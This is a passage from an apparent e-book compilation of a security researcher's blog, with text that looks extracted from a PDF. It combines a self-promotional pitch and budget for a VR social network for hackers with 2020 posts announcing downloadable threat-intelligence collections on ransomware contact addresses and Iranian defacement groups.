Enter and Join Today the World's Largest and Most Popular VR-Based Hacker and Security

Expert Social Network Platform Including the Initial Crowd-Funding Campaign For the Project!

Executive Summary

Led by CEO Dancho Danchev Cybertronics is proud to present the general availability of

a proprietary and never released before custom version of the World's Largest and Most

Popular Virtual Reality Based Hacker and Security Expert Social Network Platform empowering

millions of active users on a monthly basis with the necessary access to data information

and knowledge to help them learn educate themselves share their knowledge and learn from

others in the World of Computer Hacking and Information Security.

Led and presented by Cybertronics - the projects aims to present to the general public a

versatile and multi-platform Oculus Rift and Leap Motion compatible Virtual Reality application

targeting millions of active users on their way to become hackers and learn from others in the

World of Computer Hacking and Information Security.

Official Press Release:

" *In 2020, we're proudly presenting the World's first and most popular and sophisticated*

Virtual Reality and Augmented Reality Network Platform or Hackers and Security Experts

connecting millions of users globally through the launch of an ubiquitous VR-based Social

8260

Media platform and the general availability of an ubiquitous XMPP-based VR-based Virtual

Keyboard and a sophisticated skills and experience including location-based and aware Virtual

Reality experience successfully connecting millions of users globally on a Virtual Reality based

landscape empowering everyone with the necessary "know-how" and technical expertise to

reach out to fellow colleagues VIP members from the Hacker Community including the Security

Industry including the general availability of an ubiquitous cross-platform based Desktop and

Mobile Device application issuing "real-time" notifications and updates possibly assisting in

the actual improvement of the user's work-flow in both the "real" and Virtual Reality World

including actual project and business including personal and skills and experience based

"match-making" and Hacker and Security Community outreach.

The primary purpose of the VR application would be to connect empower and facilitate

an ubiquitous "real" World and Virtual World type of sophisticated and novice Hacker and

Security Expert experience ultimately connection international Hackers and Security Experts

including the actual integration and development of never-seen and released-before API-based

type of innovative services and products ultimately built on the top of the VR-based Social

Media Platform.

Key Examples include:

- Built-in Ethical Penetration Testing API for research and testing purposes

- Built-in API-based Honeypot deployment further assisting the Security Industry through

the ease of deployment

- Never-seen before Cluster of Activity Targeting Intelligence Analysts and Members of

the U.S Intelligence Community through the general availability of an offensive and de-

fensive Cyber Warfare Platform functionality allowing the successful Training including the

development of actual Wargames Scenario type of offensive and defensive Cyber Warfare

Cluster-based activity. "

The Office:

Cybertronics CEO Dancho Danchev has been running a cyber security and cybercrime

fighting research lab since 2006 in his place and has successfully managed to position himself

as one of the World’s leading experts in the field of cybercrime fighting. In his lab he produces

and researches various cybercrime groups and persistently communicates and shares the

"crown jewels" of his research with a vast network of U.S based researchers members of the

Project Status:

- Astalavista.box.sk is the official partner of the Cybertronics - VR for Hackers and Secu-

rity Experts project the original search engine for hackers circa 1994 which is one of the

World's most high-traffic visited Web site for hackers and security experts

- Several VR application developers have already expressed interest in working on the

project and we have several other VR application developers waiting to join the team

- The majority of marketing and advertising will be done using industry-leading partner-

ships with leading hacker and security expert Web sites including actual community and

security conference outreach including active social media advertising and outreach

To-Do List

Reach out to Custom Crypto-currency Developer to properly launch and introduce Se-

cureCoin

8274

Reach out to Tor Links Directory for a Possible Inclusion Including Banner Advertisement

Finish Working on the Project Semantics In Terms of Features and Innovative Design

Finish Working on the Project FAQ

Finish Working on the VR-Platform Manual Guide

Finish Working on the VR-Platform Tutorial Guide

Reach out to CD/DVD Labeling and Shipping Service Provider

Record Two-Hour Long Introduction to the Project and the Platform

Develop multi-platform multi VR-headset functionality and compatibility features

Develop a proper VR Application Platform Manual And Tutorial

Financials

$10,400 - Virtual Reality Application Development

$25,500 - Major Web Property Acquisition and Partnership to Acquire More Users and

Spread the Word

$10,000 - Logistics Infrastructure for Shipping the CD/DVD Containing the Application

$3,000 - Printed E-book FAQ and Virtual Reality Application Manual Production

$20,000 - Infrastructure Management and Closed-Network Group Development

$15,000 - Custom "Points Based" and Democracy including Liquid-

Based Cryptocurrency

Development

$3,000 - Personal Printed Memoir Design and Development

$26,600 - Advertising and Marketing Including VR Application Promotion and Traffic Ac-

quisition

$15,000 - Hacker and Security Community Outreach in terms of API Implementation in-

cluding a Standardized and Custom Service and Solution Platform Integration Implementation

$30,000 - Acquire an Industry Leading VIP Team of Hackers Innovators and Application

Developers and Pay Maintenance Fees for the VR Application

$30,000 - Research and Development in terms of the VR Application Including the Intro-

duction of New Features and Acquisition of New Users

8275

Key Features Summary

• A ubiquitous End-to-End Encrypted Jabber-based OTR (Off-The-Record) Encrypted Chat

Feature connecting millions of users globally

• Clustered Skills and Experience-Based Opt-In Hacker and Security Expert Expert Method-

ology in over 50 Categories Including Security Bloggers Hacktivists Anarchists Privacy

Advocates Censorship Researchers and Human Rights Advocates including Blackhat and

Gray Hat hackers including Security Industry Leaders and VIP Members

• Self-Sufficient Eternal Virtual Cyber Economy including a "Points-Based" Economy and

Cybertronics Branded Custom Democracy And Voting-Based Cryptocurrency ensuring the

spread preservation and dissemination of Computer Hacking and Information Security

Knowledge to millions of loyal users globally

• Localization at its best including advanced geolocation on a per-country and on a per-city

basis introducing local Hacker and Security Expert communities introducing local Hacker

and Security Expert economies and social network driven communities

• Future Global Hacker and Security Expert Network including mainstream local and global

community announcements and featured events and products including service

• End-to-end Encrypted Communications including Enhanced Personal Encryption and User

Identification using PGP (Pretty Good Privacy) and Jabber OTR (Off-The-Record-Messaging)

including Yubico-Based Two-Factor Authentication Extended Validation SSL and DNSSEC

Support

• Closed-Communication Group Network Preserving Key Privacy and Security Features of

Modern Hacker and Security Expert Social Network Platform

• P2P-Based Content Distribution and Hosting Including Censorship and Surveillance Re-

silience

• Standardized Security Product and Security and Hacking Service

Partner API Allowing Ven-

dors and Commercial and Community-driven Hacking and Security Service Providers Easy

Access to the Platform

• Covert Communication Channel P2P Based Social Media Platform Making Deep Packet

Inspection Including Possible Communication Surveillance and Eavesdropping on Member

Communication Virtually Impossible

• Client-to-Site Ethernet Encryptor Further Enhancing The Privacy and Security Features

of the Platform Making it Impossible for Someone To Eavesdropp or Launch a Potential

Surveillance Attack Campaign

• OpenPGP Smart Card Enabled Web-Based On-the-Fly SSL Session Authentication Ensuring

Maximum Security and Advanced Identity-Based Secure User Authentication

16.7.3 Profiling a Currently Active High-Profile Cybercriminals Portfolio of

Ransomware-Themed Extortion Email Addresses (2020-09-11 17:56)

UPDATE: I've just updated the original post and added an additional set of ransomware-themed

extortion email addresses.

8300

Dear blog readers,

I wanted to take the time and effort and present the findings of my most recent Technical

Collection efforts in the broader context of reaching out to the U.S Intelligence Community

and U.S Law Enforcement on its way to provide actionable threat intelligence on currently

active and prolific ransomware threat actors that are actively collecting money by using

compromised hosts and largely relying on publicly accessible email service providers for the

purpose of soliciting the actual amount.

You can grab a full copy of the portfolio from [1]here.

16.7.4 Dancho Danchev's Blog - Official Multiple E-Book Formats Full Offline Down-

load Copy Available - Grab a Copy Today! (2020-09-11 17:58)

Dear blog readers,

As it's been a while since I've last posted a quality update I wanted to

let everyone know that

I’ve recently made a full [1]offline copy of my personal blog publicly accessible online for free

which is currently available in multiple E-book formats with the idea to reach out to an even

wider audience potentially communicating a decent portion of my situational awareness circa

2008-2020 with E-book reader users who might be interested in learning more on some of the

key and most important and prolific cyber attack and cybercrime gang incidents throughout

the past decade and actually gain access to the actual technical details behind these

campaigns with an in-depth discussion on some of the key TTPs (Tactics Techniques and

Procedures) that shaped the security industry throughout the past decade including an

in-depth discussion on various Web 2.0 trends and technological developments that shaped

the industry circa 2005-2008.

8657

Grab a full copy of the E-book compilation archive from [2]here (6.1GB) or consider browsing

through the different E-book formats currently available [3]here.

Here are the actual download locations for the different chapters from another location:

16.8 October

16.8.1 Exposing Iran-based Hackers and Web Site Defacement Group's Personal

Web Sites Portfolio - Direct Technical Collection Download! Grab a Copy To-

day! (2020-10-29 15:03)

[1]

Dear blog readers,

Following my recently released second edition "[2]**A Qualitative and Technical Collection**

OSINT-Enriched Analysis of the Iranian Hacking Scene Through the Prism of the Infamous

Ashiyane Digital Security Team – [PDF] – Direct Download – Report" which is the second

edition of my original "[3]**Exposing Ashiyane Digital Security Team – Report and Social**

Network Analysis Graph – [PDF] + Maltego Graph" research report released in 2015 I've

decided to make publicly accessible a diverse portfolio of TTPs (Tactics Techniques and

Procedures) that also includes hacking tools and tools of the trade belonging to Iran-based

hackers and Web Site Defacement Groups with the idea to empower the security industry and

U.S Law Enforcement on its way to track down and shut down these personal Web site

communities and personal hacking tools and tools of the trade Web site repositories.

- Part 01 - [4]**Direct Technical Collection Download** (2.5GB)

- Part 02 - [5]**Direct Technical Collection Download**

Sample portfolio of currently active Iran-based hackers and Web site defacement group's

personal web sites obtained using Technical Collection:

16.9 November

16.9.1 Exposing Protonmail and Tutanota's Illicit Abuse by Ransomware Gangs -

A Compilation of Currently Active Ransomware-Themed Email Addresses

(2020-11-08 11:04)

[1]

UPDATE: ProtonMail and Tutanota removed all the accounts.

Dear blog readers,

8690

I've recently decided to update and expand my original post on currently active email

addresses used by [2]ransomware gangs and DIY ransomware users with an additional set of

Protonmail and Tutanota accounts which I believe should be taken offline as soon as possible

in an attempt to disrupt the rogue and fraudulent operations currently run and managed by

these groups and users.

Grab a copy of all the currently active Protonmail accounts used by ransomware gangs and

lone DIY ransomware users from [3]here including all the currently active Tutanota email

accounts used by ransomware gangs from [4]here including the

complete and recently

updated of all the publicly accessible email address accounts currently in circulation and used

by [5]ransomware gangs including DIY ransomware users from [6]here.

Sample portfolio of currently active Protonmail accounts used by ransomware gangs and

DIY ransomware users:
